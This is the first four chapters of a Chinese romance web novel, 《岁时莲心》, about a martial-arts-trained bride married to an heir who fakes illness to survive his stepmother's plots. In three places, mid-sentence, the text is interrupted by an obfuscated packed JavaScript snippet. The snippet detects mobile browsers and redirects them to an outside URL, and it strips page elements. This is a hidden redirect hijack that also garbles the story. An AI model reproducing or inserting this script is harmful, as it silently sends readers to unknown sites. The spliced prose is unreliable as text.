《岁时莲心》 1. 过门 “两姓联姻，一堂缔约，良缘永结，匹配同称。青丝白发，琴瑟和鸣；碧海青天，无以为期。喜今日赤绳……” 司礼正高昂地念着不知说过多少遍的祝词，却冷不防被一声声更为急促嘹亮的咳嗽打断，饶是他自认身经百战，也乱了阵脚。 幸好旁边的小徒弟眼疾手快地拍了他一下，这才让他缓过了几分心神，到底还是当地有头有脸的老司礼，未消看稿便又声情并茂地唱了下去。 “喜今日赤绳系定，珠联璧合；卜他年白头到老，桂馥兰馨……” 偌大的厅堂内，到处回荡起他嘹亮的声音，触目所及的雕梁画柱上，都挂上了层层叠叠的红。 从进场开始，前来观礼的宾客便连连感叹，陆家真不愧是名门望族，如今饥荒横行，准备半年都未见能有的排场，陆家短短三日就办出来了。 只不过，这点由金银红绸堆叠的喜气，全然掩盖不住这场奢华婚宴的怪异，连司礼都暗自加快了语速，想要尽快抽身离开。 看客们只觉高堂之上端坐的陆夫人秀眉微挑，那神情丝毫不像喜悦，反而透着点说不清道不明的得意。 可不就是得意吗，眼下陆大人赴京商量治灾之事，偌大陆府上下一切事务就都交由陆夫人掌管。 陆家世代从官，不说远的，光是大曜建朝八十五年以来就出了五十八个进士，其中还有两状元，四榜眼和四探花。 陆大人名陆珺，是因任长居江州的一支，作为陆家的次子，任过临州知府、左参政，现在担任正一品的江州左布政使，算得上是当地执掌实权的一把手。 比起他在京中官居正四品的长兄陆祥，以及在淮州驻守的小弟陆毓，这位陆大人更为人称道的还不是才华与为官之道，而是他府内的两位女人。 想当年座上那位还是妾的时候，陆府的夫人林琼算得上是江州人人称赞的奇女子，不仅有着百年一见的好颜色，更有着万年难寻的好心肠。 想象从前经常布粥施善的前夫人林琼，再看看眼前这位穿金戴银、面容娇媚的新夫人杜若秋，诸人暗暗叹了口气。 都说好人不长命，眼瞅着陆大人官越来越大，可林琼的身子确是越来越弱。 也不晓得什么缘由，药也吃了病也看了，可人就像凋零的花，一天天的憔悴下去，最后撒手人寰，抛下了年仅八岁的儿子陆时礼。 “咳咳……”，众人就这么想着，突然一连串咳嗽声又继续响起，较之刚才更加急促，那声音撕心裂肺地，好像要把心肝肺都咳出来一样。 这次司礼有了经验，口上妙语连珠半点不停，眼风微微一偏，这才终于看清了声音来源，但同时身子却不由得微微发颤。 咳得如此声嘶力竭的不是别人，正是今天的主角，这场婚宴的新郎官，陆时礼。 许是还未及弱冠，虽然身量高大但仍有着少年特有的单薄和青涩，遗传了母亲的眉眼精致如画，但同时又有着父亲那边从书卷中滋养的文气。 一颦一笑，举手投足潇洒自如，清贵而不放浪，俊朗而不矫揉。 无论是外形还是气质，都称得上是江州一等一的翩翩少年郎，若不是因为这份身子骨，两年前怎么着也不会让陆家那般丢人现眼，小辈们连会试都全军覆没。 自从他生母林氏过身继母杜氏成为夫人后，陆时礼的生活便一日难过一日。 先是被弟弟陆时安带领孩子经常围攻，好不容易打赢了还要被父亲冤枉责罚，而那位继母更不必说，除了每日克扣用度意外以外，还会吩咐奴仆对他多加“照顾”。 吃不饱穿不暖已经算是家常便饭，更过分的是，坊间传言陆时礼十二岁的那场大病就是出自杜若秋的手笔，即使命大扛了过来，也就此留下了病根。 这不，眼瞧着他即将连中三元，这纠缠已久的怪病，就又毫无预兆地来了。 一阵撕心裂肺的咳嗽声中，苏莲心只觉手中握着的红绸都剧烈地颤抖起来，即使被盖头挡着目不能视，但她还是借着低头的瞬间，从盖头滑开的一角小心翼翼地望了过去。 触目所及的是铺天盖地的红，随着视线的上移，映入眼帘的是半张苍白到近乎病态的侧脸，而比那更令人担忧的，是他脸颊之上升腾起的片片坨红。 红绸宛如海面遭受惊涛骇浪的小船，上下摇摆翻腾着，那令人心上发颤的咳嗽声却丝毫没有停止的迹象，苏莲心甚至觉得，身畔这个弱不禁风的高个子或许随时都可能吐血倒下。 全场一片静默，没有人想要上前询问情况，更没有人去递上一杯水，他们就这样立在原地，宛若旁观好戏的看客，也好似等待发令的木偶。 就在他们暗暗数着数，想要看是新郎官先昏倒，还是司礼先结束时，一件出乎所有人意料的事发生了。 只见一直静静牵着红绸的新娘子侧过身，不知何时取出一块褐中透亮的糖果，在一派冷眼旁观之中，朝身畔的新郎摊开手掌。 于是陆时礼看到的，便是那只白里透红的掌心，以及其上晶莹透亮的糖果。 不知为何，心口莫名涌上一丝暖流，而他也几乎毫不犹豫地就伸出了手，破天荒地接受了来自他人的善意，从这位即将成为自己妻子的少女手中。 好似有清风柔柔拂过，又像是白羽轻轻一扫，苏莲心只觉掌心一空的同时，那处被指尖划过的一小块皮肤霎时烧起了灼热的温度。 由于盖头遮住了视线，所以她也没能发现，在自己迅速如触电般收回手的时候，陆时礼也刚好用指尖抵着糖块放进口中，而他嘴唇所触碰的，刚好就是划过她掌心的那处指尖。 “吉时已到，礼成！” 莲子清甜的滋味在唇齿间蔓延开来的瞬间，耳边传来了司礼宣布礼成的高喊，看着即将一哄而上的人群，鬼使神差地，陆时礼并没有再咳嗽的想法。 恰相反，他上前两步隔着红绸握住了少女白皙的手，扫了眼周围神情各异的宾客，越过层层的包围，迎着高座上浓妆艳抹的妇人，嘲讽地勾了勾唇角。 “各位好不容易来府上一趟，想必陆夫人自会妥善安排，还请诸位吃好喝好。我顽疾缠身，实在不能留站，便带新妇先行离开，还请诸位见谅。” 虽然是跟众人告辞，但他步子却半点没停，虚握着新娘子的手就往后院走，一眨眼就到了前厅的大门。 周围的人你看看我我看看你，只见陆夫人若有所思地挑了挑眉，旋即从侍女手中接过酒盏，朝着众人盈盈笑道。 “嘉文大病初愈，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156355|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请诸位见谅。来，我代两位新婚儿女先敬诸位一杯，等老爷回来再办酒宴，定让嘉文多饮几杯好好赔罪。” 众人赶忙纷纷举起酒杯，彼此隔空碰过后仰头一饮而尽，心中暗暗嘀咕别说喝酒了，瞧他那副样子，估计这次冲喜也是白忙活一场了。 一杯酒的时间，有人遗憾新郎年纪轻轻生此重病，有人同情新娘执信而来却被许给短命之人。都说贫穷是罪恶的根源，还有人想到饥荒的当下，羡慕这位农户出身的世家夫人。 心狠手辣又怎样，最起码背靠陆家这棵大树，眼瞅着最后一点阻碍也要清除，往后荣华富贵那是数不尽的。 一个人有一个人的想法，不知道别人怎么认为，反正苏莲心觉得，这一家子真是怪透了。 她本是淮州镖师之女，母亲因善于育莲，故给她取名莲心。 十六年来日子虽然清苦但也算幸福，若不是半年前倭寇入侵屠杀全城，苏家父母就不会奋力抗敌而死于刀下，苏莲心也不会从满是鲜血的 父亲手中取过那枚信物，带着弟弟莲生千里迢迢远赴江州投亲。 苏父战前跟她说了曾于海难中救过陆大人一事，看着血流成河的故土和嗷嗷大哭的幼弟，苏莲心咬了咬牙，揣着好不容易藏起的两枚银锭，领着弟弟踏上了来江州的路。 海上战乱频发，铺天盖地的火药大炮把海面炸开了一层又一层，翻滚的波涛好似张开血盆大口的怒兽，无差别地吞噬着海上的一切。 他们二人就这样风餐露宿，在山野荒岭间走走停停，期间苏莲心用父亲在及笄礼上给她的匕首，以右臂折断的代价斩杀了一头猛虎。 不夸张的说，她和莲生是从白骨堆里爬出来，在鬼门关走过好几遭的人。 所以当他们受到陆夫人的盛情款待，并承诺供莲生就读学堂时，莲心被久违的温暖蒙蔽了双眼，几乎没有注意陆夫人笑容的冰凉，以及身后侍女们有些同情的眼神。 想到这里，苏莲心步子微顿，身前之人许是察觉到了，也跟着慢了下来，连带隔着红绸握住她手腕的力道又松了几分，原本就是虚握，这么一来更是近乎于无。 “怎么，可是我走得太急，你岔了气？” 红盖头遮住了少女的表情，陆时礼隐约间好像听到了一声轻笑，心中有些疑惑，以为是他错听，还是沉吟着停下步子，问询中透着几分自己都未曾察觉的担忧。 没成想下一秒，耳畔响起了清脆的大笑，苏莲心笑得前仰后合，差点挤出眼泪。 “你那叫走的急，走一步退两步，要叫我爹瞧见了，定要笑话是爬……” 话刚说出口，苏莲心顿时后悔起来，对方久病缠身怪可怜的，她这个嘴啊，怎么就半点管不住。 犹豫着，苏莲心慢慢抬起头，暖阳照在发顶，于盖头上映出男子模糊不清的虚影，她就这样隔着眼前的红雾，与对方四目相对。 “对不住，我不是有意说的，下次再也不……” “我知道，多谢。” 男子的声音透着几分沙哑，但和握在红绸的手一样，有着让人安心的沉稳。 苏莲心就这样随着牵引向前走，唇畔也慢慢翘起一个不大不小的弧度。 通情达理，挺好。 2. 露馅 “小心门槛，到了。” 苏莲心低着头，从盖头的缝隙往下瞧，只见地上的青砖裂开了一条条缝隙，踩上去不仅吱吱作响，一不小心都还有绊倒的风险。 除此以外，空气中似乎还飘着淡淡的药香，若没瞧见那红红艳的床铺，苏莲心定不会将它与婚房扯上半点关系。 “咳咳……屋子简陋了些，只能先将就着住，委屈你了。” 见她一进门就低头打量着地面的砖块，连行走都蹑手蹑脚起来，陆时礼以为是嫌弃房室简陋，刚想开口解释，突然喉间一痒，先咳了两声。 “怎么又咳了，是不是莲子糖含完了”，苏莲心赶忙将手伸向腰间，从袖着双面芙蕖的布袋里又取出一颗，摊开在自己掌心。 “喏，赶紧再含一块，我听你声音有些哑，可别把嗓子给咳坏了。” 鬼使神差地，陆时礼心中又划过一丝暖流，但也就是那么一瞬，就好像一切皆如过眼云烟，转瞬即逝毫不待人。 莲子甘甜的清香驱散了喉间的干痒，陆时礼便这样半靠在门边，静静打量起这个素不相识，却已经成为他妻子的少女。 莲子糖，芙蕖荷包，连名字都起作莲心，这姑娘家得是多喜欢莲。 不过说起莲，他倒是也认识一人，名字里也有个莲字，不知道是巧合还是却有亲缘。 “你是否有个名唤莲……” “那个……方便把我这盖头掀了吗？我娘说自己掀不吉利，但蒙着头确实不太舒服……” 同时开口让两人都愣了一下，旋即陆时礼止了口，苏莲心察觉后也不扭捏，提出了憋了好久的请求。 其实都不用说陆家，就算是苏家那般家境，就算没有七八个奴仆侍女在旁边守着，最起码也会有几个从小到大的小姐妹在旁边主持程序，怎么着也是热闹的。 哪怕是陆时礼身体有恙，但好歹成亲也是人生大事之一，不仅冲喜来得突然，就连流程也是摆摆样子，苏莲心在红布后撇了撇嘴。 这位陆夫人于情于理，真有点太不地道了。 而另一边的陆时礼嘴角却噙着笑，“自然，是我怠慢了”，随后踏步上前，骨节修长的手指搭在了那块盖头之上。 指尖微微发力，垂下的红布被一点点抽离开去，暖黄的烛火之下，映入苏莲心眼帘的，便是一张足以称得上风华绝代的面容。 桃花眼含春水，微微上挑的眼尾与同样勾起的唇角交相呼应，就如同他的长相，倜傥但不风流，俊逸又不阴柔。 苏莲心想，画本子里的降世仙人，大抵也就不过如此了吧。 但比之刚刚，他苍白到近乎透明的面颊的那两处坨红，莲心一惊，正欲开口询问，却见他瞳孔一震，踉跄着后退两步倚在墙边。 “你怎么了，是发烧头昏，还是我画这妆太浓吓到你了？” 凭心而论，她苏莲心虽称不上一等一的绝世佳人，但在淮州那一块还是排的上号的，十二三岁的时候求亲的人便踏破了门槛。 所以苏家父母才没急着联系陆家，出于私心他们一是想要多留女儿在家几年，而来也不想让她只身嫁到他乡。 不过她承认，一直没有议亲还有一个更为重要的原因，那就是没人能打得过她。 不过这点自信在见到陆时礼之后就顿时烟消云散了，她想起在铜镜中匆匆望见的一眼，尤其是脸上那两坨红，比他发热烧得还要红上许多。 活像个，活像个画本子上描述的女妖精！ 而陆时礼宛若见鬼般的眼神更是证实了她的猜测，苏莲心不由得抱歉地笑了笑，眼睛在扫到不远处铜盆里的清水时忽地一亮。 “你先坐一会，我把这些胭脂洗一洗，其实我长得还行，虽然远远比不上你，但也不至于这么吓人。” 她不得不承认，陆家在给她上妆的时候还是蛮精心的，一连往脸上舀了十多捧水，看着铜镜中少女清丽的容颜，苏莲心才终长舒了一口气。 看着盆中早已混沌不清的水，苏莲心刚想端出去再打一盆，手腕却突然被握住，猝不及防间水盆倾倒在地，在本就七歪八裂的青砖上蜿蜒出一条红褐的小河。 “你这是做什么？” 然而陆时礼就像听不到一样，直勾勾地看着她的脸，莲心被看得发毛，想要用力挣脱又怕没用好分寸伤了他，便也抬眼回望着他，企图找到令他如此的缘由。 片刻后，手腕一松，陆时礼如梦初醒般晃了晃头，冲她抱歉地笑了笑，看着她手腕的眼中满是懊悔。 “不好意思，最近精神有些恍惚，以为盆里是血就失了控，此举唐突，还请姑娘谅解。” 这下换苏莲心目瞪口呆了。 她原本以为这家就是内斗，每成想从前还闹出过人命官司？ 又是血，又是怪病的，看来她的这位夫君身上，还隐藏着不少鲜为人知的秘密啊。 虽然这样想，但莲心还是笑着摆了摆手，“小事，你这手劲不算什么，你看腕子红都没红。”她犹豫一下，还是小心地开了口，“就是有点吓人，下次最好提前提醒我一下，好有个心理准备。” 少女澄澈的眸子里倒映着他小小的面容，佯装老成的姿态看在陆时礼眼里，有着与外表不太相符的可爱。 几乎同一瞬间，陆时礼在心中否定了刚才令他为之恍惚的猜想，记忆里的女子虽然有着相似的容颜，但举手投足间都透着身为侍女的小心。 不仅从来不会这样肆意的笑，更不会在未得允许的情况下给他递上任何东西，哪怕是一块糖。 但就算如此，许是为了内心中一点点仅存的希冀，陆时礼还是问了出来，“你是否有个姐妹，名唤莲见？” 莲心打量周围的眼光一顿，有些疑惑地回望过来，“莲见，这名字有点耳熟，你别急，我好好想想。” 思考间，莲心只觉对面陆时礼的目光灼灼如火，虽然不知缘由，但她也察觉到了此人对他的重要，更加认真地回想起来。 电光火石间，她终于从模糊的童年记忆中找到了答案，兴奋地竟用手拍了下额头，旋即又因为手劲太大倒吸了两口凉气。 “想起来了，莲见是我堂姐，因为大伯一家遇难寄养在我家几年，后来好像又被母族那边的亲戚接走了。不过那时候我太小，能记住的只有这么多了。” 少女眼神澄澈，神情见隐隐透着几分关切，还有关于已故亲人和失散姐妹的伤感，小扇般的睫毛一眨一眨，倒有了几分我见犹怜之感。 注意到他的视线，少女抿了抿嘴，“我们家久居淮州，与她母族那边毫无联系，你这么问，想必也是认识我堂姐的？” 陆时礼闻言点了点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156356|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，倒也没有隐瞒，讲起了他二人相识到分别的经历，顺带着，也用只言片语勾勒出了他前十一年的时光。 原来莲见离开苏家后，并没像她母族说得那样在府中将养，而是被转手卖到了江州的陆府，成为了伺候当时夫人林氏的侍女。 年仅八岁的她并没有被安排什么活计，而是被安排和年纪相仿的陆家两兄弟一同玩耍，但比起性格骄横古怪的陆时安，安静温柔的陆时礼更能和她玩到一处。 就这样，两个孩子一起读书习字，度过了一段无忧无虑的童年时光，然而就在林氏突染顽疾，重病不治之后，一切都变了样子。 莲见摇身一变，成为了新夫人杜氏的贴身丫鬟之一，昔日的玩伴就此反目，而欺负陆时礼的阵营里，多了个叫做莲见的大丫鬟。 直到他十二岁生日的那天，三年无人问津的小院突然围满了人，那时的他还不清楚，自己父亲送来的，由莲见亲手端来的鸡汤里，藏着足矣要他性命的毒药。 他喉头一甜，浓郁的血腥气中，看见了端着血水盆的莲见，以及将匕首插在她心口的杜氏，随后眼前一黑，不省人事。 “为己之心人皆有之，也许我所耿耿于怀的，只是被杀死的那段美好的童年吧。” 听他这么说，苏莲心若有所思地点了点头，转瞬间又摇了摇头。 陆时礼被她弄得一愣，竟不自觉地笑了笑，“你这点头又摇头，又是什么意思？” “点头呢是说确实有怀念过去美好的原因，不过在我看来光靠这些不足以解释你刚才反常的行为，所以我才会又摇头。” 看她一副看透一切的样子，陆时礼哑然失笑，“哦？那敢问依姑娘看，还有什么深层的理由呢？” “理由很简单”，莲心轻轻叹了口气，“毕竟青梅竹马是很难忘的，对你这样没人关心的人来说想要遗忘更是困难。” “噗”，陆时礼刚喝下的半口茶水全喷了出去，看着莲心的眼中满是不可思议，“拜托，我那时候才八岁，就算再早熟也不至于这样吧。” “这你就不懂了吧，我娘说了娃娃亲才最真。你别看轻小时候的情谊，就那时候才最简单纯粹，也正令人刻骨铭心呢。” 说到这里，莲心眼珠一转，再抬头时，陆时礼只觉她多了点慷慨就义的感觉。 “有件事我得提前说一下，我苏莲心秉持家母遗训，坚持一生一世一双人，绝不会为人替身。你没这念头最好，有的话也请赶紧打消。” 这一番话说得陆时礼是措手不及，然而莲心干脆两眼一闭，丝毫不等他开口，就竹筒倒豆子般一股脑继续说了下去。 “我承认，冲喜这件事我也有私心，是为了陆夫人能和我签订供养我弟读书的契约。不过你放心，既然跟你拜了堂我就不会反悔，一定会 尽心尽力陪你过好这最后的日子，等日后你走了我也不会再嫁，带着我弟好好过。” 她的慷慨陈词听得陆时礼嘴角微微颤抖，难以置信地上下打量着她。 “最后的日子……不会再嫁？” “你也别有心里负担”，莲心犹豫着拍了拍他的肩，“本来我也不想嫁人，能送你一程也算是积德行善。” 片刻后，对面又爆发了剧烈的咳嗽，好半天才闷闷传来一句。 “我谢谢你……” 3. 试探 漆黑的夜幕沉甸甸地压下来，投在宾客散尽的陆府遍梁的红绸上，添了几分灰沉的冷气。 一身桃红襦裙的丫鬟端着沏好的上等碧螺春，小心翼翼地穿过绘有梅兰竹菊的廊道，又绕过门口的一架海棠迎春的苏绣屏风，这才毕恭毕敬地递上了茶。 “你来了”，卸去妆容的陆夫人呷了一口，漫不经心地瞥了她一眼，语气中听不出情绪，“南厢房那边如何了？” 送茶的丫鬟名唤桃华，年初刚被选中的贴身伺候，她小心地瞄了一眼夫人眼角延伸的细纹，交握的双手不自觉地打着颤。 不知为何，她总觉得比起浓妆艳抹，反而是不加任何修饰的夫人更加凌厉，光看一眼就让人手脚发寒。 她只得将头又垂了垂，低头盯着自己磨得发亮的鞋尖，好像要将其生生看出一个洞来。 “回夫人的话，奴婢刚才和人去看，里面静悄悄的偶尔有两三声咳嗽，隐隐约约还有蒸腾的白烟，闻那味道应该又在熬药。” 呵，大喜的日子熬药，她这个继子还真是，没有半点享福的运道呢。 尤其是对着那么相像的一张脸，她还真有些好奇，不知道那小子会不会怨恨自己这副病怏怏的身子呢？ 只可惜好戏才刚开始，恨与不恨都由不得他了。 陆夫人将茶杯搁在案上，若有所思地打量起了眼前的小丫鬟，直到见她额头密密层层爬满了汗，才勾唇轻笑了一声。 “上个月听碧落说你娘病得不轻，我便差她给你送些银钱，不晓得如今如何了？” “多谢夫人记挂，托您的福，我娘已无大碍”，桃华仍旧深埋着头，心跳如鼓，语气更加谦卑恭敬。 陆夫人见她这般模样，唇畔笑意更浓，“到底是一家人，说这些便见外了，你也清楚，我留你在身边，也是有意多让你和博言见上几面。” 博言是陆时安的小字，作为一小就被安排在府中伺候的丫鬟，桃华自然清楚陆夫人关照她的用意，那便是收住亲生儿子的心。 “承蒙夫人看重，奴婢不胜感激，定会誓死为夫人效力。” 陆时安风流是出了名的，这两年里光是通房就纳了不下四个，更别提秦楼酒肆里的那些女子了，眼瞅着他今年名落孙山，陆夫人也是坐不住了。 看着眼前如桃花般娇艳的少女那乖顺的模样，陆夫人笑着点了点头，语气中多了几分蛊惑人心的味道。 “往后你只需记住，博言同你那是一荣俱荣，一损俱损的关系，至于旁的，想必也就不用我再多说了。” 陆夫人这话的言下之意不难琢磨，无非是提点桃华要守住阵营，做好她不便做的事。 在当下来说，利用这场突如其来的旧疾，彻底铲除陆时礼这个阻碍，便是桃华乃至陆夫人这边最要紧的大事。 “奴婢记下了，大公子有任何风吹草动都会及时向您禀报，还请夫人放心。” 陆夫人抿了一口嘴边的茶，眼中晦暗不明，“你办事，我自然是放心的，不过嘉文久病不愈，这药也该再换一换了。” 风又起，裹挟着屋外的几株银杏，发出清脆的沙沙声，檐上几只乌鸦受惊飞起，拍着翅膀呱呱地怪叫起来。 屋内的桃华强掩住内心的叹息，在灼灼的逼视下，恭敬地行了一礼。 “是，奴婢明日便差人安排。” 清凉的夏风摇动了东院的银杏，同样，也吹醒了南院树梢上沉睡的梨花。 雪白的花瓣随风舞动，在空中划出几道优美的弧度，最后静悄悄地落在青石板上，仿佛通了灵性，不忍惊动屋内之人，只趴在门缝偷偷地往里看。 一门之隔的内室里，弥漫开来的是泛着淡淡苦涩的药香，丝丝缕缕的白烟之中，正立着猛扇扇子的一男一女。 “咳咳……差不多了吧，再这么下去我这嗓子也快完了。” 其中的女子自然就是苏莲心，她好容易扫开了迎面而来的滚滚白烟，却又一不小心吸了一口，捂着嗓子便又是一阵咳嗽。 一旁的陆时礼忙伸手帮她拍了拍背，触碰那瞬两人都是一僵。 但很快他还是抬手轻轻拍了两下，又在莲心诧异望过来的时候抢先一步俯下了身，蹲在火窑旁三两下就熄灭了火。 “多谢……” “夫妻之间无需客套”，陆时礼直起身，瞧见莲心紧抿的唇，了然她的想法，但还是继续说了下去。 “我之所以这么说，一不是让你做谁的替身，二不是想用这个婚姻困住你。仅仅是揭开帘子看见了你，既是天赐良缘，就算时日无多我也不愿错过。” 天赐良缘，他竟是这么认为？ 苏莲心早已面容红透，如葱般的指节紧紧攥住身侧的衣角，陆时礼自然也注意到了这一点，笑着摇了摇头，示意等他说完。 “我家的情况你也看见了，坦白说嫁给我算是个大火坑，既然同在坑底，我这倒有一计翻身，不知莲心姑娘可愿相助？” 什么啊，原来是当盟友啊，吓死她了。 听他这么一说，莲心跳到嗓子眼的心这才掉落回来，如释重负地舒了口气，“你尽管说，能帮的我肯定帮。” “眼下的唯一机会便是明年的秋闱，我想要莲心姑娘做的，便是和我在外扮演貌合神离的夫妻，暗地里向杜氏传递我命不久矣的信号，咳咳……” 话还没说完，陆时礼便又剧烈地咳嗽起来，见他满面通红的样子，莲心赶忙从旁递过一杯水，又试探性地抬手拍了拍他的背。 “没事，多谢”，陆时礼仰头灌了一大口水，也止住了咳嗽，见莲心仍担忧地望着自己，便露出一个安慰的笑，“就是话说太多有点口干，喝口水就好了。” 得了吧，莲心心想，就你刚才那样子，不知道的还以为下一秒就要吐血了呢。 “听他们说你这好像是……痨病”，莲心犹豫一下，还是说出了那两个让人避如蛇蝎的字，“我看药也凉了，要不我端来你喝下去？” 从十二岁染病以来，陆时礼听到无数人将他的名字与痨病相提并论，有下人们的窃窃私语，有姨娘间的冷嘲热讽，也有昔日亲友的扼腕叹息。 但这次与以往截然不同，眼前少女目光澄澈，无论是语气还是神态，都是平等的，是关切地，没有让他觉得刺痛的同情，也没有旁人虚情假意的惋惜。 “你觉着我得的是肺痨？” “旁人都是这么说的，我也不通医术，但瞧你的症状倒也有点像，不行明日我再给你请个大夫好好瞧瞧”，莲心上下打量了他一下，有些拿不准。 陆时礼挑了挑眉，“那我兴许还会发热传染，你离我这么近不怕？” 还兴许什么啊，莲心盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156357|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他两颊那两坨红，兄弟啊，你现在应该就发着高烧呢。 “不瞒你说，我从小身体就好，百毒不侵。你只管安心治病，我既然答应了给你冲喜，不出意外的话，绝对会陪你到生命最后一刻。” 莲心也有一个算盘，契约已经签下，不管他走早走晚，反正幼弟有书可念，她也没那么着急离开。 对面的陆时礼嘴角又抽了抽，他看着眼前清丽姣好的少女，不免有些怀疑从前是不是从前有什么仇，这姑娘对于送走他确实有一份执念。 “那估计咱俩还得多过一段日子了，因为我这病不是肺痨，而且，已经痊愈了。” 此话一出，果然见到莲心瞳孔一震，她鲜少露出的诧异的神色在陆时礼眼中竟有几分呆萌的可爱，竟让他生出了几分逗弄的心思。 壶中微凉的清水被掬在掌心，所到之处尽是白璧般无瑕的面容，细细看来不似刚才那般苍白如纸，透着几分洋溢生机的红润光泽。 “你这……”，莲心看着他变戏法般洗掉了两颊的红坨，跟见鬼般惊呼出声，“我说你脸怎么烧那么红头还不晕，原来是涂上的脂粉！” 对面的陆时礼用帕子擦了擦手，倚着墙朝她懒懒一笑，语气中透着几分歉意与无奈。 “实在不是有心瞒你，只是若我这病好了，还不知有心之人又有什么花招，为了省事只好装病避祸了。” 卸去病容的少年星眸璀璨，一笑间的意气风发格外晃眼，莲心甚至觉得，这狭小昏暗的屋子都因他一笑而明亮了几分。 窗外的一枝梨花随风颤了一颤，同一时间被拂动的，还有少女那颗悄然初初懵懂的心。 是风动，还是花动？ 也许都不是，而是少年男女被紧紧封锁的心，因着彼此的相遇，裂开了一个细碎的小缝，尽管微不可察，但还是钻入了一缕清风，在柔软的心田上轻柔扫过。 稍纵即逝地，留下酥酥麻麻的触感。 “咳咳……”，莲心破天荒地被自己的口水呛到，正向给自己倒水却想到已经被用完，只能面红耳赤地用力拍了两下自己的胸口。 陆时礼先是一愣，随即忍不住浅笑起来，但也意识到对方的羞窘，一边强忍着笑意，一边手忙脚乱地想要出去取水。 等他回来的时候，莲心早已不再咳嗽，但还是接过水杯咕嘟咕嘟喝了两杯。 莲心因着羞窘一直半垂着头，陆时礼也不是个话多的，两人就这么大眼瞪小眼地坐了一会，最后还是陆时礼打破了这有些诡异的安静。 “时辰也不早了，你就在这早些歇息，我去对面的厢房了。” “那间不是空了许久，又没有火，好人去了也是难熬，反正你这床够大，就都在这休息吧。” 陆时礼本来都把手搭在门上，闻言回头看见莲心已经在床中间用碗隔开，怔了一瞬，还是脱下外衫走了过去。 头上纷繁的发饰被摘去，待莲心收拾妥当时，见到的便是面向墙侧躺的陆时礼，跳跃的烛火打在他向上的小半张脸上，更多了几分朦胧不清的暧昧。 莲心一口吹灭了蜡烛，借着月光也走到床边，在躺在枕头的那一刻，明显感觉对面角落里的锦被动了一动。 虚虚朦朦的黑暗中，缩在被子里的她侧身凝望着木门。 半晌，勾起唇无声地嘲弄一笑。 4. 上妆 第二日天刚蒙蒙亮，陆时礼便被一阵窸窸窣窣声吵醒。 他本想侧身再睡，但奈何声音不大却颇有节奏，顿时好奇之心萌起，便揉着惺忪的睡眼，循声踱步到了窗边。 然而刚将窗子推开一个缝，他的那点困意霎时间烟消云散，同清晨的水雾一样，飘飘荡荡地消散在了无边天际之中。 不远处的青石板上，一袭粗布骑装的少女马步扎得稳当，端平的双拳倏地展开，宛若蛟龙一般在空中凌空而过，发出“铮”的一声破空清响。 从出掌到收拳不过须臾，其间陆时礼虽没看清，但看架势肯定不止一招，他眯了眯眼正想再看，却不知从哪刮来一束清风，让他不由得抬手覆在眼前。 待再抬头时，触目所及的便是纷扬而下的雪白梨花，以及树下少女静立的飒爽背影。 薄雾蒙蒙，青烟淡淡，雪白剔透的花瓣就这样飘落下来，划过白皙纤长的脖颈，最终落在少女鲜红衣袍的肩头，无需点缀，自成一幅淡雅名画。 他倾身抬手去够，却忘了眼下是在窗边，不是在熟悉的桌案前，这一失神本不要紧，不想却又不小心碰到了支撑的木板。 窗子猛地受力一下抬到最高，发出“嘭”的一声震响，声音不大，但在这寂静的清晨却很难不让人注意。 苏莲心正用帕子擦着额头细碎的汗，突然听见身后突如其来的响动，忙闻声回头去看，却不想刚好与重新开窗的陆时礼目光相撞。 “早……” “早……” 上前一步的苏莲心本想用问好来打破尴尬，却没想到两人竟同时开口还说了一样的话，只得抬手挠了挠发顶。 “我清晨练功习惯了，吵到你了吧？真是对不住，下次我再往远点去。” “无妨，也到了该醒的时辰了”，陆时礼笑着摆了摆手，“清晨风凉，练完了便进来换身衣服梳洗一下，等会我带你去街上吃早食。” 虽有些诧异于对方什么都没问，但仅怔了一瞬，苏莲心也回了个浅笑，旋即推开门进了里屋，两人都心领神会地避过了这一话题。 熟捻地解开骑装双层的扣子后，莲心扫了一眼摊开的布囊，过了一会才从几件襦裙中挑了件水粉的套上，又照着铜镜，给自己穿了件同色淡紫纹领的短衫。 十六岁的年纪，正是含苞初放的时候，镜中少女本就清丽动人，这一身鲜嫩的颜色不仅没喧宾夺主，反而更衬得肤白似玉，如同出水芙蕖一般脱俗雅致。 从前在家的时候苏母就经常说，莲心生得哪哪都好，就是眉宇间多了两分英气，再加上她父亲手把手教的一身好武艺，不穿得娇嫩点更没有半分女娘的样子。 活脱脱一个半大的俊秀小泥猴子，这是她娘挂在嘴边的原话。 又从桌上的布袋里取出一枚银纹素簪，斜斜地插在高高挽起的青丝之间，莲心抿唇定定看着镜中的自己，半晌才苦苦一笑。 